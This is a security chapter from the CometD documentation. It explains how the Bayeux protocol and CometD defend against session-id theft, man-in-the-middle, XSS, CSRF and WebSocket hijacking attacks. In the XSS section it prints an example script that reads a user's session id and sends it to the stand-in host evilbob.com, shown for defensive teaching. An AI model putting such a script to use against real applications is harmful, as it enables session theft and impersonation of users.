text: 
  [[_security]]
  == Security
  
  This session discusses the security features of the Bayeux Protocol and the
  relationship with common attacks and how you can configure CometD to tighten
  your application.
  
  === Security of the CometD session id
  
  The Bayeux Protocol identifies a particular session (formerly known as "client")
  via a session id token, carried in Bayeux messages by the `clientId` field.
  The `clientId` field value (i.e. the session id) is generated by the server
  when the client sends the handshake request message, and sent back to the
  client in the handshake response message (see
  xref:_bayeux_meta_handshake[the Bayeux Protocol handshake]).
  The client then sends the `clientId` field in every subsequent message to the
  server, until disconnection.
  
  The session id is generated using a strong random number generator, and as
  such it is not guessable by an evil third party.
  An evil user that knows its own session id cannot guess the session id of
  another user by just looking at its own session id.
  
  While the non-guessability of the session id is a good starting point, it
  is typically not enough, so read on.
  
  === Security against man-in-the-middle attacks
  
  An evil user may be in the position to observe Bayeux Protocol traffic, as
  it is the case for a man-in-the-middle.
  
  The typical solution in this case is to encrypt the traffic between the
  client and the server using TLS.
  In this way, all the traffic between the client and the server is
  encrypted end-to-end and a man-in-the-middle cannot look or otherwise retrieve
  someone else's session id.
  
  [[_security_xss]]
  === Security against Cross-Site Scripting (XSS) attacks
  
  A https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)[cross-site scripting attack]
  is a particularly important vulnerability of web applications.
  
  A typical example of XSS is the following:
  
  Evil user Bob connects to a chat service that uses CometD.
  There, he finds Alice, another user.
  Bob sends an evil chat message text to Alice where the text is the following:
  
  ====
  [source,html]
  ----
  <script type="text/javascript">
  var xhr = new XMLHttpRequest();
  xhr.open("GET", "https://evilbob.com?stolen=" + $.cometd.getClientId());
  xhr.send();
  </script>
  ----
  ====
  
  As you can see, the script accesses the CometD's session id (via
  `$.cometd.getClientId()`).
  
  [NOTE]
  ====
  Removing the method `getClientId()` would not solve the issue, because
  the evil script could access the session id in other ways.
  For example, by registering an extension, or by otherwise watching
  Bayeux messages that come and go for the normal functioning of the
  application, or by quickly disconnecting and reconnecting the session, etc.
  ====
  
  Bob sends that evil message, which reaches the CometD server and gets routed
  to Alice. When it arrives on Alice's browser, that script may be run by
  the browser if the application is XSS vulnerable.
  
  If the script runs, Bob would be able to steal Alice's session id, send
  it to his server `evilbob.com`, where Bob would be able to access it.
  
  [IMPORTANT]
  ====
  If your web application is XSS vulnerable, an attacker can do
  a lot more damage than just stealing a CometD session id, so it is of
  paramount importance that your web application sanitizes data received
  from unknown sources such as other users chat messages.
  ====
  
  If Bob has stolen Alice's session id, he could craft a Bayeux message
  with Alice's session id and send it from his computer, and thereby could
  impersonate Alice.
  
  CometD protects from impersonations due to stolen session ids in different
  ways, depending on the type of transport used to carry Bayeux messages.
  
  For transports based on HTTP (`long-polling` and `callback-polling`),
  CometD sends a HTTP cookie with the handshake response, marked as `HttpOnly`,
  called `BAYEUX_BROWSER` (see xref:_java_server_configuration[]).
  The CometD implementation, on the server, maps this cookie to a legit
  session id during the processing of the handshake request message.
  For every subsequent message, the browser will send the `BAYEUX_BROWSER`
  cookie to the server and the CometD implementation will
  retrieve the session id from legit sessions that have been mapped to the
  cookie, rather than from the message (where it could have been altered).
  
  Bob could craft a message with Alice's session id, but the `BAYEUX_BROWSER`
  cookie that he will send along with the tampered message will be his,
  not Alice's. The CometD implementation will detect this attack and ask
  Bob to re-handshake.
  
  If the crafted message does not have any cookie, CometD will ask Bob to
  re-handshake.
  
  For transports based on WebSocket (`websocket`), CometD trusts the particular
  connection that has been established during the handshake.
  The session id is associated to that connection and when a WebSocket message
  arrives on that connection, and CometD retrieves the session id from the
  association with the connection, rather than from the message (where it
  could have been altered).
  
  When the connection is closed, for example for a network failure, CometD
  attempts to open another connection.
  If the reconnection happens within a short period of time (typically less than
  the `maxInterval` configured on the server), then CometD will try to send
  messages on the new connection without re-handshaking, but since it's a new
  connection that did not process a handshake message, it will not have a
  session id associated.
  
  At this point, CometD could ask the client to re-handshake (which involves
  some round-trips to be completed, possibly slowing further down the
  communication in case of faulty networks), or it could trust the session
  id from the message (which would yield faster reconnections, albeit less
  secure if the session id is stolen).
  This is controlled by the `requireHandshakePerConnection` parameter, see
  xref:_java_server_configuration[].
  
  [[_security_csrf]]
  === Security against Cross Site Request Forgery (CSRF) attacks
  
  A https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)[cross site request forgery attack]
  is a particularly important vulnerability of web applications.
  
  A typical example of CSRF is the following:
  
  Evil user Bob connects to the chat service at `cometd-chat.com` using CometD. There,
  he finds Alice, another user. Bob sends an evil chat message text to Alice where the
  text is the following:
  
  ====
  [source,html]
  ----
  Look at this: https://evilbob.com/cometd
  ----
  ====
  
  Alice clicks on the link, her browser opens a new tab to `+https://evilbob.com/cometd+`
  and an entertaining HTML page containing a script is downloaded to Alice's browser.
  
  While Alice is looking at Bob's entertaining page, her browser runs an evil script,
  which may perform actions on behalf of Alice on the chat service that uses CometD.
  
  For example, Bob could use xref:_security_xss[XSS] to steal Alice's session id and
  then craft and send evil messages to the chat service _from Alice's browser_.
  Alice's browser will send the existing Alice's `BAYEUX_BROWSER` cookie along with
  the evil messages, and to the server the evil messages will be indistinguishable
  from legit messages sent by Alice, because they will carry her `BAYEUX_BROWSER`
  cookie and her stolen session id.
  
  CometD does not automatically protects against CSRF attacks, but these are easily
  counterfeit by configuring the cross-origin filter as explained in
  xref:_java_server_configuration_advanced[this section].
  
  Alice's legit messages are sent by a script downloaded from the chat service, and
  therefore will have the following HTTP header:
  
  ====
  [source]
  ----
  Origin: https://cometd-chat.com
  ----
  ====
  
  Conversely, Bob's evil script is downloaded from `+https://evilbob.com+` and his
  evil messages will have the following HTTP header:
  
  ====
  [source]
  ----
  Origin: https://evilbob.com
  ----
  ====
  
  The application at `cometd-chat.com` can install the cross-origin filter and
  configure it to allow requests only from the `cometd-chat.com` origin,
  effectively blocking Bob's CSRF attack.
  This works because browsers are required to perform a _preflight_ request
  before sending a HTTP request to a different target origin.
  The preflight request will be intercepted by the cross-origin filter and
  denied.
  The unsuccessful preflight response instructs the browser that the script
  cannot perform any request to that target origin, and the browser will
  block the script from making requests to the target domain.
  
  [[_security_cswsh]]
  === Security against Cross-Site WebSocket Hijacking (CSWSH) attacks
  
  Cross-Site WebSocket Hijacking (CSWSH) is a variant of
  xref:_security_csrf[Cross-Site Request Forgery] but for the WebSocket protocol.
  
  Similarly to CSRF, Bob tricks Alice to look at a page at
  `+https://evilbob.com/cometd+` that downloads an evil script that opens a
  WebSocket connection to `+https://cometd-chat.com+` _from Alice's browser_.
  
  A WebSocket connection sends an initial HTTP request to the server.
  This initial HTTP request, triggered by Bob's evil script running in Alice's
  browser, looks like this:
  
  ====
  [source]
  ----
  GET /cometd HTTP/1.1
  Upgrade: websocket
  ...
  Cookie: BAYEUX_BROWSER=...; JSESSIONID=...
  ...
  Origin: https://evilbob.com
  ----
  ====
  
  The initial HTTP request will have Alice's cookies (and possibly Alice's
  authentication headers), including the CometD cookie and the HTTP session
  cookie.
  However, it will have `+Origin: https://evilbob.com+` and not the expected
  `+Origin: https://cometd-chat.com+`.
  
  As with the CSRF attack, the application at `cometd-chat.com` can install the
  cross-origin filter and configure it to allow requests only from the
  `cometd-chat.com` origin, effectively blocking Bob's CSWSH attack.
  
  In this case, the cross-origin filter must be installed _before_ the
  WebSocket upgrade mechanism takes place, or the WebSocket upgrade mechanism
  must have a way to test against a configured list of allowed origins and
  reject the WebSocket connection attempt if the origin is not allowed.
  